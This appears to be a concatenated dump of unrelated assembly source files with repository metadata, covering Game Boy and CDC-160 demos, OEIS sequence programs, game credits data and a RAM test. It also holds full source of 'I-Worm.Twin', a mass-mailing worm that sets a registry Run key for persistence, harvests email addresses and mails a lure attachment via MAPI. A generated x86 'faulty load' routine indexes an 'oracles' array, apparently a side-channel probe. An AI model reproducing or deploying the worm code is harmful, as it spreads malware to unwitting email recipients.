.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1833b, %rsi lea addresses_UC_ht+0x19b80, %rdi cmp $11519, %r12 mov $59, %rcx rep movsb nop nop nop nop dec %rdi lea addresses_A_ht+0x17dbb, %r10 nop nop nop nop nop add $62342, %rsi movw $0x6162, (%r10) nop cmp %rax, %rax lea addresses_WC_ht+0x56bb, %r12 nop nop and %rdi, %rdi mov (%r12), %si nop add %rdi, %rdi lea addresses_UC_ht+0x1daa1, %r10 nop nop nop dec %rbp movb $0x61, (%r10) xor %rcx, %rcx lea addresses_normal_ht+0x11efb, %r10 nop nop inc %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm1 movups %xmm1, (%r10) nop nop and %rbp, %rbp lea addresses_WT_ht+0xc3b, %rsi nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r10 movq %r10, %xmm0 and $0xffffffffffffffc0, %rsi vmovntdq %ymm0, (%rsi) nop add %rax, %rax lea addresses_D_ht+0x7ebb, %rdi inc %r10 movb $0x61, (%rdi) and $44874, %r12 lea addresses_WC_ht+0x13cbb, %rax nop nop sub %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm2 vmovups %ymm2, (%rax) nop nop nop sub %rax, %rax lea addresses_WT_ht+0xc56b, %rsi lea addresses_WT_ht+0xf2b1, %rdi nop nop and %rax, %rax mov $104, %rcx rep movsq nop xor $58381, %rax lea addresses_WT_ht+0x14d73, %rcx nop nop nop cmp $62784, %r10 mov $0x6162636465666768, %r12 movq %r12, %xmm1 and $0xffffffffffffffc0, %rcx movaps %xmm1, (%rcx) nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_A+0x1b893, %r10 nop and %rdx, %rdx mov $0x5152535455565758, %r12 movq %r12, %xmm5 movups %xmm5, (%r10) and %rsi, %rsi // Faulty Load lea addresses_WC+0x56bb, %r14 nop nop nop cmp %rcx, %rcx movb (%r14), %r12b lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}} [Faulty Load] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 9}} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 3}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
39.727811
2,999
0.658922
460a8b728c115aef8d726143c3f8ec6252a41f0b
6,475
asm
Assembly
collision1/main.asm
emutyworks/Learning-GB-Programming
48c4e7bb89ee967c063f7149a08895bb4b3bef18
[ "CC0-1.0" ]
9
2021-05-01T00:59:48.000Z
2022-01-30T11:27:25.000Z
collision1/main.asm
emutyworks/Learning-GB-Programming
48c4e7bb89ee967c063f7149a08895bb4b3bef18
[ "CC0-1.0" ]
null
null
null
collision1/main.asm
emutyworks/Learning-GB-Programming
48c4e7bb89ee967c063f7149a08895bb4b3bef18
[ "CC0-1.0" ]
null
null
null
; ; I used this Website/Document as a reference to create "main.asm". ; ; GB ASM Programming Tutorial: Hello World! ; https://eldred.fr/gb-asm-tutorial/hello-world.html ; ; The Cycle-Accurate Game Boy Docs (p25: 7. Joypad) ; https://github.com/AntonioND/giibiiadvance/blob/master/docs/TCAGBD.pdf ; ; Pan Docs: Memory Map ; https://gbdev.io/pandocs/Memory_Map.html ; ; OAM DMA tutorial ; https://gbdev.gg8.se/wiki/articles/OAM_DMA_tutorial ; INCLUDE "hardware.inc" SECTION "Header", ROM0[$100] EntryPoint: di jp Start REPT $150 - $104 db 0 ENDR SECTION "Initialize", ROM0 Start: ; move DMA subroutine to HRAM call CopyDMARoutine ; Turn screen off call WaitVBlank ld a, %00000000 ; LCDCF_OFF ld [rLCDC], a ; Set Tiles data ld hl, _VRAM8000 ld de, Tiles ld bc, TilesEnd - Tiles call CopyTiles ; Set BG tile map ld hl, _SCRN0 ld de, BgTileMap ld bc, BgTileMapEnd - BgTileMap call CopyTiles ; Init display registers ld a, %11100100 ld [rBGP], a ; BG Palette ld [rOBP0], a ; Object Palette 0 ld [rOBP1], a ; Object Palette 1 ld a, 0 ld [rSCY], a ; Scroll Y ld [rSCX], a ; Scroll X ; Shut sound down ld [rNR52], a ; Turn screen on, display background ld a, %10010011 ; LCDCF_ON,LCDCF_BG8000,LCDCF_OBJON,LCDCF_BGON ld [rLCDC], a ; Initialize wShadowOAM ld hl, wShadowOAM ld bc, 4*40 .iniwShadowOAM ld a, $00 ld [hli], a dec bc ld a, b or c jr nz, .iniwShadowOAM ; Initialize Joypad State ld a, %00000000 ld [JOYPAD_STATE], a ld a, 7+8*2 ld [JOYPAD_YPOS], a ld a, 7+8*2 ld [JOYPAD_XPOS], a ; Set OAM ld hl, wShadowOAM ld a, [JOYPAD_YPOS] ld [hli], a ; Y:16 Displayed in the upper left corner ld a, [JOYPAD_XPOS] ld [hli], a ; X:8 Displayed in the upper left corner ld a, 6 ; Tile Index ld [PLAYER_INDEX], a ld [hli], a ld a, %01000000 ; Attributes/Flags ld [PLAYER_ATTRI], a ld [hli], a jp MainLoop SECTION "Main", ROM0 MainLoop: ; Reading Joypad ld a, P1F_4 ld [rP1], a ; select P14 ld a, [rP1] ldh a, [rP1] ; Wait a few cycles. cpl ; Complement A. and a, %00001111 ; Get only first 4 bits. swap a ; Swap it. ld b, a ld a, P1F_5 ld [rP1], a ; Select P15. ldh a, [rP1] ldh a, [rP1] ldh a, [rP1] ldh a, [rP1] ldh a, [rP1] ldh a, [rP1] ; Wait a few MORE cycles. cpl and a, %00001111 or a, b ; Put A and B together. ld [JOYPAD_STATE], a ; Save joypad state. ld a, %11000000 ; Deselect P14 and P15. ld [rP1], a jp CheckJoypad SECTION "Collision routine", ROM0 CheckJoypad: ld a, [JOYPAD_STATE] and %00000001 jp nz, .incX ld a, [JOYPAD_STATE] and %00000010 jp nz, .decX ld a, [JOYPAD_STATE] and %00001000 jp nz, .incY ld a, [JOYPAD_STATE] and %00000100 jp nz, .decY jp .setOAM .incX ld a, [JOYPAD_XPOS] inc a ld d, a ld [NEW_JOYPAD_X], a ld a, [JOYPAD_YPOS] ld e, a ld [NEW_JOYPAD_Y], a ld a, 7 ld [PLAYER_INDEX], a ld a, %00000000 ld [PLAYER_ATTRI], a jp .collisionX .decX ld a, [JOYPAD_XPOS] dec a ld [NEW_JOYPAD_X], a sub a, 7 ld d, a ld a, [JOYPAD_YPOS] ld e, a ld [NEW_JOYPAD_Y], a ld a, 7 ld [PLAYER_INDEX], a ld a, %00100000 ; X flip ld [PLAYER_ATTRI], a jp .collisionX .incY ld a, [JOYPAD_XPOS] ld d, a ld [NEW_JOYPAD_X], a ld a, [JOYPAD_YPOS] inc a ld e, a ld [NEW_JOYPAD_Y], a ld a, 6 ld [PLAYER_INDEX], a ld a, %01000000 ; Y flip ld [PLAYER_ATTRI], a jp .collisionY .decY ld a, [JOYPAD_XPOS] ld d, a ld [NEW_JOYPAD_X], a ld a, [JOYPAD_YPOS] dec a ld [NEW_JOYPAD_Y], a sub a, 7 ld e, a ld a, 6 ld [PLAYER_INDEX], a ld a, %00000000 ld [PLAYER_ATTRI], a jp .collisionY .collisionX ; check map1 call .calcMap ld a, [hl] ; 8 ld [DEBUG_TILE], a ; debug and a jp nz, .setOAM ; check map2 ld a, [JOYPAD_YPOS] and a, 7 cp a, 7 jp z, .setJoypad ld a, e sub a, 8 ld e, a call .calcMap ld a, [hl] ; 8 ld [DEBUG_TILE2], a ; debug and a jp nz, .setOAM jp .setJoypad .collisionY ; check map1 call .calcMap ld a, [hl] ; 8 ld [DEBUG_TILE], a ; debug and a jp nz, .setOAM ; check map2 ld a, [JOYPAD_XPOS] and a, 7 cp a, 7 jp z, .setJoypad ld a, d sub a, 8 ld d, a call .calcMap ld a, [hl] ; 8 ld [DEBUG_TILE2], a ; debug and a jp nz, .setOAM jp .setJoypad .setJoypad ld a, [NEW_JOYPAD_Y] ld [JOYPAD_YPOS], a ld a, [NEW_JOYPAD_X] ld [JOYPAD_XPOS], a .setOAM ld hl, wShadowOAM ld a, [JOYPAD_YPOS] add a, 9 ; 8 ; JOYPAD_YPOS+9 ld [hli], a ld a, [JOYPAD_XPOS] inc a ; 4 ; JOYPAD_XPOS+1 ld [hli], a ld a, [PLAYER_INDEX] ld [hli], a ld a, [PLAYER_ATTRI] ld [hli], a call WaitVBlank ; call the DMA subroutine we copied to HRAM ; which then copies the bytes to the OAM and sprites begin to draw ld a, HIGH(wShadowOAM) call hOAMDMA jp MainLoop .calcMap ; X Map ld a, d and a, %11111000 rra rra rra ld c, a ; copy ld [DEBUG_MAP_X], a ; Y Map ld a, e and a, %11111000 rra rra ld [DEBUG_MAP_Y], a ld b, a ; 4 and a, %11110000 swap a or a, %10011000 ld h, a ld [DEBUG_MAP_Y_HIGH], a ; 16 ld a, b swap a and a, %11110000 add a, c ; a + map x ld l, a ld [DEBUG_MAP_Y_LOW], a ret SECTION "Wait VBlank routine", ROM0 WaitVBlank: ld a, [rLY] cp 144 ; Check if the LCD is past VBlank jr c, WaitVBlank ret SECTION "Copy Tiles routine", ROM0 CopyTiles: ld a, [de] ; Grab 1 byte from the source ld [hli], a ; Place it at the destination, incrementing hl inc de ; Move to next byte dec bc ; Decrement count ld a, b ; Check if count is 0, since `dec bc` doesn't update flags or c jr nz, CopyTiles ret SECTION "OAM DMA routine", ROM0 CopyDMARoutine: ld hl, DMARoutine ld b, DMARoutineEnd - DMARoutine ; Number of bytes to copy ld c, LOW(hOAMDMA) ; Low byte of the destination address .copy ld a, [hli] ldh [c], a inc c dec b jr nz, .copy ret DMARoutine: ldh [rDMA], a ld a, 40 .wait dec a jr nz, .wait ret DMARoutineEnd: SECTION "Tiles", ROM0 Tiles: INCBIN "tiles.bin" TilesEnd: SECTION "Map", ROM0 BgTileMap: INCBIN "map.bin" BgTileMapEnd: SECTION "STATE", WRAM0[_RAM] JOYPAD_STATE: ds 1 JOYPAD_YPOS: ds 1 JOYPAD_XPOS: ds 1 NEW_JOYPAD_Y: ds 1 NEW_JOYPAD_X: ds 1 PLAYER_INDEX: ; Tile Index ds 1 PLAYER_ATTRI: ; Attributes/Flags ds 1 DEBUG_MAP_Y: ds 1 DEBUG_MAP_X: ds 1 DEBUG_MAP_Y_HIGH: ds 1 DEBUG_MAP_Y_LOW: ds 1 DEBUG_TILE: ds 1 DEBUG_TILE2: ds 1 SECTION "Shadow OAM", WRAM0[_RAM+$100] wShadowOAM: ds 4*40 ; This is the buffer we'll write sprite data to SECTION "OAM DMA", HRAM hOAMDMA: ds DMARoutineEnd - DMARoutine ; Reserve space to copy the routine to
15.343602
72
0.66332
80de0da89329a251e98fb269846f6e1ce948e097
74
asm
Assembly
cdc-160-replica/OSAP/demo2.asm
paulscottrobson/assorted-archives
87ce21ef1556bed441fffbb5c4c3c11c06324385
[ "MIT" ]
null
null
null
cdc-160-replica/OSAP/demo2.asm
paulscottrobson/assorted-archives
87ce21ef1556bed441fffbb5c4c3c11c06324385
[ "MIT" ]
null
null
null
cdc-160-replica/OSAP/demo2.asm
paulscottrobson/assorted-archives
87ce21ef1556bed441fffbb5c4c3c11c06324385
[ "MIT" ]
1
2020-01-02T13:54:19.000Z
2020-01-02T13:54:19.000Z
rem hello world ! // flx Hello./ // flr 12Hello./ tty 01Hello./
12.333333
19
0.554054
27cb61aac53dcf84605b9ca3bf3059ba195265f7
1,151
asm
Assembly
programs/oeis/195/A195170.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195170.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195170.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A195170: a(n) = 4*n - floor(n*r), where r=(1+sqrt(5))/2 (the golden ratio). ; 0,3,5,8,10,12,15,17,20,22,24,27,29,31,34,36,39,41,43,46,48,51,53,55,58,60,62,65,67,70,72,74,77,79,81,84,86,89,91,93,96,98,101,103,105,108,110,112,115,117,120,122,124,127,129,132,134,136,139,141,143,146,148,151,153,155,158,160,162,165,167,170,172,174,177,179,182,184,186,189,191,193,196,198,201,203,205,208,210,212,215,217,220,222,224,227,229,232,234,236,239,241,243,246,248,251,253,255,258,260,263,265,267,270,272,274,277,279,282,284,286,289,291,293,296,298,301,303,305,308,310,313,315,317,320,322,324,327,329,332,334,336,339,341,344,346,348,351,353,355,358,360,363,365,367,370,372,374,377,379,382,384,386,389,391,394,396,398,401,403,405,408,410,413,415,417,420,422,424,427,429,432,434,436,439,441,444,446,448,451,453,455,458,460,463,465,467,470,472,475,477,479,482,484,486,489,491,494,496,498,501,503,505,508,510,513,515,517,520,522,525,527,529,532,534,536,539,541,544,546,548,551,553,555,558,560,563,565,567,570,572,575,577,579,582,584,586,589,591,594 mov $3,$0 mul $0,55 mov $1,$0 lpb $0,1 mov $0,1 div $1,144 lpe add $0,$1 mov $1,$0 mov $2,$3 mul $2,2 add $1,$2
71.9375
955
0.703736
cf29e6d5f67f5ddc2725e88906ae5f9034133353
2,728
asm
Assembly
inc/credits.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
1
2022-01-17T16:06:15.000Z
2022-01-17T16:06:15.000Z
inc/credits.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
null
null
null
inc/credits.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
null
null
null
loc_1A55A: dc.b $08, $80 dc.b "WRITTEN AND DIRECTED BY" dc.b $FC even loc_1A574: dc.b $13, $82 dc.b "S2" dc.b $FC even loc_1A57A: dc.b $09, $90 dc.b "CO-WRITER,", $20, "CO-DIRECTOR" dc.b $FC align 2 loc_1A594: dc.b $0F, $92 dc.b "YANG WATT" dc.b $FC even loc_1A5A0: dc.b $0E, $A0 dc.b "ART DIRECTOR" dc.b $FC align 2 loc_1A5B0: dc.b $0F, $A2 dc.b "L-R-VALLEY" dc.b $FC align 2 loc_1A5BE: dc.b $08, $B0 dc.b "CHIEF CHARACTER DESIGNER" dc.b $FC even loc_1A5DA: dc.b $0F, $B2 dc.b "TOYO OZAKI" dc.b $FC even loc_1A5E8: dc.b $09, $C0 dc.b "CHIEF SCROLL DESIGNER" dc.b $FC even loc_1A600: dc.b $0F, $C2 dc.b "ROGER ARM" dc.b $FC even loc_1A60C: dc.b $0C, $D0 dc.b "MUSIC COMPOSER" dc.b $FC align 2 loc_1A61E: dc.b $11, $D2 dc.b "IPPO" dc.b $FC even loc_1A626: dc.b $0B, $E0 dc.b "CHIEF PROGRAMMER" dc.b $FC even loc_1A63A: dc.b $10, $E2 dc.b "SWEEPER" dc.b $FC even loc_1A644: dc.b $0C, $F0 dc.b "SPECIAL EFFECT" dc.b $FC even loc_1A656: dc.b $11, $F2 dc.b "F.G.C" dc.b $FC even loc_1A65E: dc.b $0A, $00 dc.b "ASSISTANT PROGRAMMER" dc.b $FC even loc_1A676: dc.b $0F, $02 dc.b "WILL CANE" dc.b $FC even loc_1A682: dc.b $0B, $10 dc.b "ASSISTANT DESIGNER" dc.b $FC even loc_1A698: dc.b $11, $12 dc.b "TSUGU" dc.b $FC even loc_1A6A0: dc.b $0B, $20 dc.b "ASSISTANT DIRECTOR" dc.b $FC even loc_1A6B6: dc.b $10, $22 dc.b "BROS 400" dc.b $FC align 2 loc_1A6C2: dc.b $0D, $2C dc.b "SPECIAL THANKS" dc.b $FC align 2 loc_1A6D4: dc.b $0E, $32 dc.b "OSSALE KOHTA" dc.b $FC align 2 loc_1A6E4: dc.b $0F, $35 dc.b "PHENIX RIE" dc.b $FC align 2 loc_1A6F2: dc.b $10, $38 dc.b "YOSHIBON" dc.b $FC align 2 loc_1A6FE: dc.b $10, $3B dc.b "COM BLUE" dc.b $FC even loc_1A70A: dc.b $0F, $3E dc.b "MUUUU YUJI" dc.b $FC even loc_1A718: dc.b $0F, $41 dc.b "MAD HATTER" dc.b $FC even loc_1A726: dc.b $11, $44 dc.b "MINOGE" dc.b $FC align 2 loc_1A730: dc.b $12, $47 dc.b "KYZ" dc.b $FC even loc_1A736: dc.b $10, $4A dc.b "MORITAN" dc.b $FC even loc_1A740: dc.b $12, $4D dc.b "PAPA" dc.b $FC even loc_1A748: dc.b $10, $50 dc.b "KYAMURA" dc.b $FC even loc_1A752: dc.b $12, $53 dc.b "L.C." dc.b $FC even loc_1A75A: dc.b $12, $56 dc.b "AND" dc.b $FC even loc_1A760: dc.b $0F, $59 dc.b "CHIEMUSHI" dc.b $FC even loc_1A76C: dc.b $07, $74 dc.b "PRODUCED AND PROGRAMMED BY" dc.b $FC even loc_1A78A: dc.b $10, $76 dc.b "TSUKAPON" dc.b $FC even loc_1A796: dc.b $0D, $94 dc.b "PRESENTED BY" dc.b $FC even loc_1A7A6: dc.b $0B, $96 dc.b "SEGA ENTERPRISES" dc.b $FC even loc_1A7BA: dc.b $10, $B4 dc.b "THE", $20, "END" dc.b $FC
9.342466
38
0.593475
78afdd64a41f2a76370e696a3eaf029254ea7c40
2,681
asm
Assembly
I-Worm/I-Worm.Twin/I-Worm.Twin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
I-Worm/I-Worm.Twin/I-Worm.Twin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
I-Worm/I-Worm.Twin/I-Worm.Twin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
comment # Name : I-Worm.Twin Author : PetiK Date : January 30th 2002 - February 1st 2002 Size : 6656 bytes Action : See yourself. It's not complex. # .586p .model flat .code JUMPS api macro a extrn a:proc call a endm include useful.inc include myinclude.inc start: push 50 mov esi,offset orig_worm push esi push 0 api GetModuleFileNameA push 25 push esi push 1 @pushsz "AntiVirus Freeware" @pushsz "Software\Microsoft\Windows\CurrentVersion\Run" push 80000002h api SHSetValueA @pushsz "C:\twin.vbs" api DeleteFileA push 50 push offset pathname api GetWindowsDirectoryA @pushsz "\NetInfo.doc" push offset pathname api lstrcat verif_inet: push 0 push offset inet api InternetGetConnectedState dec eax jnz verif_inet push 0 push 0 push 3 push 0 push 1 push 80000000h @pushsz "C:\backup.win" api CreateFileA inc eax je end_worm dec eax xchg ebx,eax push 0 push 0 push 0 push 2 push 0 push ebx api CreateFileMappingA test eax,eax je end_w1 xchg eax,ebp push 0 push 0 push 0 push 4 push ebp api MapViewOfFile test eax,eax je end_w2 xchg eax,esi push 0 push ebx api GetFileSize cmp eax,3 jbe end_w3 scan_mail: xor edx,edx mov edi,offset mail_addr push edi p_c: lodsb cmp al," " je car_s cmp al,0dh je entr1 cmp al,0ah je entr2 cmp al,"#" je f_mail cmp al,'@' jne not_a inc edx not_a: stosb jmp p_c car_s: inc esi jmp p_c entr1: xor al,al stosb pop edi test edx,edx je scan_mail call send_mail jmp scan_mail entr2: xor al,al stosb pop edi jmp scan_mail f_mail: end_w3: push esi api UnmapViewOfFile end_w2: push ebp api CloseHandle end_w1: push ebx api CloseHandle end_worm: push 0 api ExitProcess send_mail: xor eax,eax push eax push eax push offset Message push eax push [sess] api MAPISendMail ret .data orig_worm db 50 dup (0) pathname db 50 dup (0) mail_addr db 128 dup (?) inet dd 0 sess dd 0 subject db "A comical story for you.",0 body db "I send you a comical story found on the Net.",0dh,0ah,0dh,0ah db 9,"Best Regards. You friend.",0 filename db "comical_story.doc",0 Message dd ? dd offset subject dd offset body dd ? dd ? dd ? dd 2 dd offset MsgFrom dd 1 dd offset MsgTo dd 1 dd offset Attach MsgFrom dd ? dd ? dd ? dd ? dd ? dd ? MsgTo dd ? dd 1 dd offset mail_addr dd offset mail_addr dd ? dd ? Attach dd ? dd ? dd ? dd offset pathname dd offset filename dd ? end start end
13.540404
72
0.650504
fa9677766213b2decd7b2f07c70e54572114feaf
667
asm
Assembly
oeis/052/A052153.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/052/A052153.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/052/A052153.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A052153: Rhombi (in 3 different orientations) in a rhombus with 60-degree acute angles. ; 1,9,26,54,95,151,224,316,429,565,726,914,1131,1379,1660,1976,2329,2721,3154,3630,4151,4719,5336,6004,6725,7501,8334,9226,10179,11195,12276,13424,14641,15929,17290,18726,20239,21831,23504,25260,27101,29029,31046,33154,35355,37651,40044,42536,45129,47825,50626,53534,56551,59679,62920,66276,69749,73341,77054,80890,84851,88939,93156,97504,101985,106601,111354,116246,121279,126455,131776,137244,142861,148629,154550,160626,166859,173251,179804,186520,193401,200449,207666,215054,222615,230351,238264 add $0,1 lpb $0 add $2,$0 sub $0,1 add $1,$2 add $2,4 lpe mov $0,$1
55.583333
499
0.776612
c76ebf272cfb287fd4dd9c49c56f98031e812711
10,255
asm
Assembly
old/tst7ram.asm
Jaxartes/vtj1
be3104979af26f9a9b92eced120987aaf9151c7e
[ "BSD-2-Clause-NetBSD" ]
null
null
null
old/tst7ram.asm
Jaxartes/vtj1
be3104979af26f9a9b92eced120987aaf9151c7e
[ "BSD-2-Clause-NetBSD" ]
null
null
null
old/tst7ram.asm
Jaxartes/vtj1
be3104979af26f9a9b92eced120987aaf9151c7e
[ "BSD-2-Clause-NetBSD" ]
null
null
null
; Copyright (c) 2015 Jeremy Dilatush ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY JEREMY DILATUSH AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED ; TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JEREMY DILATUSH OR CONTRIBUTORS ; BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; For testing my 6502 based "VTJ-1" platform, in particular the RAM. ; Takes commands to write/read 2kB chunks of memory. ; It's also "strung out" through ROM to provide a test of that. ; Intended assembler: "crasm" cpu 6502 code ; Basic system info LEDOUT = $b280 ; write LED state SER_BASE = $b800 ; base of serial port registers SER_INFO = $0 ; offset of serial port information byte 